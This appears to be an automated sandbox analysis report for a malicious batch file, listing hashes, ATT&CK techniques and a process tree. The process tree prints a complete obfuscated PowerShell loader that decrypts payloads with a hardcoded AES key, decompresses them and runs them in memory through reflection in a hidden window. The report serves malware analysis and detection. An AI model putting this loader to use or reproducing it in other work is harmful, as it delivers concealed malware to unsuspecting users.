9c1a4e3a1c90d013a9465ab585ad7a9cfc378ebdbe77fc1548cb81c791e6914e

Analysis

max time kernel
122s
max time network
125s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
14/05/2024, 09:44

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General

Target

MadeByCasttter (1).bat
Size

152KB
MD5

0b426e8571f8d3e437b7a42e9b8fd808
SHA1

986edba4c39be9edb552284dac555e2e95f68a4a
SHA256

9c1a4e3a1c90d013a9465ab585ad7a9cfc378ebdbe77fc1548cb81c791e6914e
SHA512

e2efb8ba96b4c11b6167f085d5545e7e4971850e3c57f76957b8a0b0e1896537d935d123de93c1ebfd3efab34139e9bf902911ba54f20ddffad21edeeb16b021
SSDEEP

3072:TXHtlYzFn8xKlZqwe64MpN9Q2cLNt0hcjhK7ZmVG/:rUB8gQMpvQ2Er0aG/

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1656	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1656	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1656	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2360 wrote to memory of 1580	2360	cmd.exe	29
PID 2360 wrote to memory of 1580	2360	cmd.exe	29
PID 2360 wrote to memory of 1580	2360	cmd.exe	29
PID 2360 wrote to memory of 1656	2360	cmd.exe	30
PID 2360 wrote to memory of 1656	2360	cmd.exe	30
PID 2360 wrote to memory of 1656	2360	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\MadeByCasttter (1).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2360
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j9v/MRsvo8rPIZTuYpVL9r5+b1tKh4/IvXdLJbSprpc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S2gRLww5OmjzwLPcS3ad8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rcwOy=New-Object System.IO.MemoryStream(,$param_var); $TisVE=New-Object System.IO.MemoryStream; $XDooL=New-Object System.IO.Compression.GZipStream($rcwOy, [IO.Compression.CompressionMode]::Decompress); $XDooL.CopyTo($TisVE); $XDooL.Dispose(); $rcwOy.Dispose(); $TisVE.Dispose(); $TisVE.ToArray();}function execute_function($param_var,$param2_var){ $TXMac=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KbKqR=$TXMac.EntryPoint; $KbKqR.Invoke($null, $param2_var);}$IXbeQ = 'C:\Users\Admin\AppData\Local\Temp\MadeByCasttter (1).bat';$host.UI.RawUI.WindowTitle = $IXbeQ;$Ytldu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IXbeQ).Split([Environment]::NewLine);foreach ($jWeCV in $Ytldu) { if ($jWeCV.StartsWith('PpiliAyQziuRKPrYAOkn')) { $YHaeW=$jWeCV.Substring(20); break; }}$payloads_var=[string[]]$YHaeW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:1580
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1656

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1656-4-0x000007FEF5F9E000-0x000007FEF5F9F000-memory.dmp

Filesize
4KB

Download
memory/1656-5-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

Filesize
2.9MB

Download
memory/1656-6-0x00000000027E0000-0x00000000027E8000-memory.dmp

Filesize
32KB

Download
memory/1656-7-0x000007FEF5CE0000-0x000007FEF667D000-memory.dmp

Filesize
9.6MB

Download
memory/1656-8-0x000007FEF5CE0000-0x000007FEF667D000-memory.dmp

Filesize
9.6MB

Download
memory/1656-9-0x000007FEF5CE0000-0x000007FEF667D000-memory.dmp

Filesize
9.6MB

Download
memory/1656-10-0x000007FEF5CE0000-0x000007FEF667D000-memory.dmp

Filesize
9.6MB

Download
memory/1656-11-0x000007FEF5CE0000-0x000007FEF667D000-memory.dmp

Filesize
9.6MB

Download
memory/1656-12-0x000007FEF5F9E000-0x000007FEF5F9F000-memory.dmp

Filesize
4KB

Download